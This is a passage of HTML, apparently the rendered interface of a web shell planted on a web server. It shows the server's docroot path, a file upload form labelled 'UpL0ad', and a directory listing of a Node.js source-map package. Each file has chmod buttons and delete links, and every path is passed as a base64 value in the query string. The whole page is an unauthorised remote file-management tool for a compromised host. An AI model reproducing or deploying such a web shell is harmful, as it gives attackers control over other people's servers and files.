</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/@jridgewell/source-map/dist<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&x=c291cmNlLW1hcC5tanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC5tanM="/>source-map.mjs</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC5tanM=&c=`+btoa(c):0" value="0644"></td><td>34690</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&x=c291cmNlLW1hcC5tanMubWFw">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC5tanMubWFw"/>source-map.mjs.map</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC5tanMubWFw&c=`+btoa(c):0" value="0644"></td><td>84507</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&x=c291cmNlLW1hcC51bWQuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC51bWQuanM="/>source-map.umd.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC51bWQuanM=&c=`+btoa(c):0" value="0644"></td><td>39015</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&x=c291cmNlLW1hcC51bWQuanMubWFw">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC51bWQuanMubWFw"/>source-map.umd.js.map</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC51bWQuanMubWFw&c=`+btoa(c):0" value="0644"></td><td>84523</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0L3R5cGVz"/>types</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=dHlwZXM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>